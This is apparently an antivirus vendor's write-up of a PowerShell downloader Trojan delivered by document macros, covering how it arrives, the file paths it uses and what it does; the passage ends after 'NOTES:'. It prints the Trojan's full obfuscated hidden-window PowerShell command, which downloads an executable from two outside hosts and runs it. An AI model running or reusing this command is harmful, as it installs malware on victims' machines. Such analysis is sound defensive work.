W2KM_POWLOAD.UHAOECB

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}koqa.{BLOCKED}/admin.php?f=2
• http://{BLOCKED}foloaz.{BLOCKED}/admin.php?f=2

It saves the files it downloads using the following names:

• %AppDataLocal%\Temp{random number between 1 and 65536}.exe

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• It uses Powershell commands to download and execute a malicious file:
  • powershell -WindowStyle Hidden $PSHfThU = new-object System.Net.WebClient;$VVEXvqesbsBc = new-object random;$str = 'hBhutBhutBhupBhu:Bhu/Bhu/BhuwBhueBhunBhumBhuaBhuaBhukBhuoBhuqBhuaBhu.BhutBhuoBhupBhu/BhuaBhudBhumBhuiBhunBhu.BhupBhuhBhupBhu?BhufBhu=Bhu2,hBhutBhutBhupBhu:Bhu/Bhu/BhuhBhuoBhuoBhupBhueBhurBhufBhuoBhulBhuoBhuaBhuzBhu.BhutBhuoBhupBhu/BhuaBhudBhumBhuiBhunBhu.BhupBhuhBhupBhu?BhufBhu=Bhu2' -replace 'Bhu', ''; $TqnLyfVtuYxD = $str.Split(',');$name = $VVEXvqesbsBc.next(1, 65536);$JwFrFcqYxEXm = $env:temp + '' + $name + '.exe';foreach($yxlOXWDwCFTfF in $TqnLyfVtuYxD){try{$PSHfThU.DownloadFile($yxlOXWDwCFTfF.ToString(), $JwFrFcqYxEXm);Start-Process $JwFrFcqYxEXm;break;}catch{write-host $_.Exception.Message;}};

NOTES:

The document contains the following message details luring users to enable macro content: